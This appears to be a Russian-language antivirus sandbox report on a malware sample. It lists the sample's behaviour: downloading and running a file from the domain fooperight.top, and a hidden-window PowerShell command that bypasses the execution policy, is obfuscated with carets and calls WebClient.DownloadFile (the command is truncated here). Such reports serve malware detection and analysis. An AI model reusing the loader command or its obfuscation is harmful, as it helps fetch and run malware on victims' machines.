Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://fooperight.top/read.php?f=404 как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^o^wE^rSHel^L.EXE -e^X^ec^Ut^I^OnPOlIcy bypa^s^S -nO^pRo^F^ILe^ ^-W^InDO^wStY^l^E hi^dD^e^n^ (n^EW^-O^B^J^ecT^ ^SYSte^m.NeT^.w^e^BclIE^n^t^)^.DoW^NL^OA^d^FIl^e('http:/...
Сетевая активность
UDP
- DNS ASK fo###right.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^o^wE^rSHel^L.EXE -e^X^ec^Ut^I^OnPOlIcy bypa^s^S -nO^pRo^F^ILe^ ^-W^InDO^wStY^l^E hi^dD^e^n^ (n^EW^-O^B^J^ecT^ ^SYSte^m.NeT^.w^e^BclIE^n^t^)^.DoW^NL^OA^d^FIl^e('http:/...' (со скрытым окном)
